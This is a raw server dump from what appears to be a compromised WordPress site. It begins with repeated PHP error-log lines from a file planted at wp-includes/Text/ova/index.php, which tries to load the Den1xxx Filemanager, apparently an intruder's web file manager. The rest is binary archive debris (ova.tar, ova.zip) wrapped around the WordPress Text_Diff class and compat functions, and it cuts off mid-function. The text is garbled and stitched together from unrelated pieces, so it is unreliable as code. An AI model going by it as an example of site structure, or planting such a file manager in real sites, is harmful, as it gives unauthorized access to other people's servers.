wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 596 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 597 [30-Aug-2025 09:54:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 09:55:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:29:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:31:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:36:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:37:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:38:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 11:00:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by al[30-Aug-2025 12:37:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:37:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:52:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:53:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:26:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /[31-Aug-2025 10:01:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:01:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:16:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:16:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 PK j[F\ Diff.php.php.tar.gznu[PKj[][7[7  index.phpnu[PKj[_}o sDova.tar.gznu[PKj[×ova.tarnu[PKj[Y:: Diff.php.tarnu[PKj[,6=ee "error_lognu[PK%YPKe#[Y::ova/Diff.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/Text/Diff.php000064400000031107150550165720017451 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } PKP[y|k3G2G2Diff.phpnu[PKP[-1 2Exception.phpnu[PK P[][7[7 3ova/index.phpnu[PKP[ڄpp Ekova/error_lognu[PKP['ݣDiff/Renderer/inline.phpnu[PKP[SSbDiff/Engine/shell.phpnu[PKP[Eћ Diff/Engine/string.phpnu[PK"P['5>>&Diff/Engine/native.phpnu[PK$P[@[eDiff/Engine/xdiff.phpnu[PK'P[ =gnDiff/Renderer.phpnu[PKb#[F\ ova/Diff.php.php.tar.gznu[PKb#[wKqqlova/Engine.tar.gznu[PKc#[_}oova/ova.tar.gznu[PKd#[â8o^9ova/Engine.tarnu[PKd#[× ova/ova.tarnu[PKd#[œZZ ׷ova/ova.zipnu[PKe#[Y:: ova/Diff.php.tarnu[PKXOM PK) $[ń) ms-default-filters.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/ms-default-filters.php000064400000014754150547744770021413 0ustar00 'utf-8' ] ); * * `is_utf8_charset` should be used outside of this file. * * @ignore * @since 6.6.1 * * @param string $charset_slug Slug representing a text character encoding, or "charset". * E.g. "UTF-8", "Windows-1252", "ISO-8859-1", "SJIS". * * @return bool Whether the slug represents the UTF-8 encoding. */ function _is_utf8_charset( $charset_slug ) { if ( ! is_string( $charset_slug ) ) { return false; } return ( 0 === strcasecmp( 'UTF-8', $charset_slug ) || 0 === strcasecmp( 'UTF8', $charset_slug ) ); } if ( ! function_exists( 'mb_substr' ) ) : /** * Compat function to mimic mb_substr(). * * @ignore * @since 3.2.0 * * @see _mb_substr() * * @param string $string The string to extract the substring from. * @param int $start Position to being extraction from in `$string`. * @param int|null $length Optional. Maximum number of characters to extract from `$string`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. */ function mb_substr( $string, $start, $length = null, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound return _mb_substr( $string, $start, $length, $encoding ); } endif; /** * Internal compat function to mimic mb_substr(). * * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit. * For `$encoding === UTF-8`, the `$str` input is expected to be a valid UTF-8 byte * sequence. The behavior of this function for invalid inputs is undefined. * * @ignore * @since 3.2.0 * * @param string $str The string to extract the substring from. * @param int $start Position to being extraction from in `$str`. * @param int|null $length Optional. Maximum number of characters to extract from `$str`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. */ function _mb_substr( $str, $start, $length = null, $encoding = null ) { if ( null === $str ) { return ''; } if ( null === $encoding ) { $encoding = get_option( 